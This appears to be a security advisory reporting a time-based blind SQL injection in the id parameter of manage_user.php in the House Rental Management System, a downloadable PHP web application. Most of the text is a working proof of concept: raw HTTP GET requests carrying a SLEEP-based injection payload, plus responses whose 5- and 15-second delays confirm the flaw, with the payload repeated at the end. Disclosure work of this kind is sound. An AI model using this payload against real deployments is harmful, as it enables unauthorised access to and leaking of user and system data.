

SQL injection vulnerability exists in id parameter of manage_user.php file of House Rental Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```
1 GET /houserental/manage_user.php?id=1%20AND%20(SELECT%206097%20FROM%20(SELECT(SLEEP(5)))EAQV) HTTP/1.1
2 Accept: */*
3 x-requested-with: XMLHttpRequest
4 Referer: http://192.168.31.163/hourental/
5 Cookie: PHPSESSID=cfdvfdp660ria3k3p660s7mmnf
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:02:59 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 1562
11
12 <div class="container-fluid">
13   <div id="msg">
14   </div>
15   <form action="" id="manage-user">
16     <input type="hidden" name="id" value="1">
17     <div class="form-group">
18       <label for="name">
19         Name
20       </label>
21       <input type="text" name="name" id="name" class="form-control" value="Administrator" required>
22     </div>
23     <div class="form-group">
24       <label for="username">
25         Username
26       </label>
27       <input type="text" name="username" id="username" class="form-control" value="" required>
28     </div>
29     <input type="submit" value="Save" />
30   </form>
31 </div>
```

Done 1,862 bytes | 5,035 millis

Sleep time is 15s:

Request

```
1 GET /houserental/manage_user.php?id=1%20AND%20(SELECT%206097%20FROM%20(SELECT(SLEEP(15)))EAQV) HTTP/1.1
2 Accept: */*
3 x-requested-with: XMLHttpRequest
4 Referer: http://192.168.31.163/hourental/
5 Cookie: PHPSESSID=cfdvfdp660ria3k3p660s7mmnf
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:04:35 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 1562
11
12 <div class="container-fluid">
13   <div id="msg">
14   </div>
15   <form action="" id="manage-user">
16     <input type="hidden" name="id" value="1">
17     <div class="form-group">
18       <label for="name">
19         Name
20       </label>
21       <input type="text" name="name" id="name" class="form-control" value="Administrator" required>
22     </div>
23     <div class="form-group">
24       <label for="username">
25         Username
26       </label>
27       <input type="text" name="username" id="username" class="form-control" value="" required>
28     </div>
29     <input type="submit" value="Save" />
30   </form>
31 </div>
```

Done 1,862 bytes | 15,005 millis

Payload: id=1%20AND%20(SELECT%206097%20FROM%20(SELECT(SLEEP(15)))EAQV)

Source Download:

<https://www.campcodes.com/projects/php/house-rental-management-system/>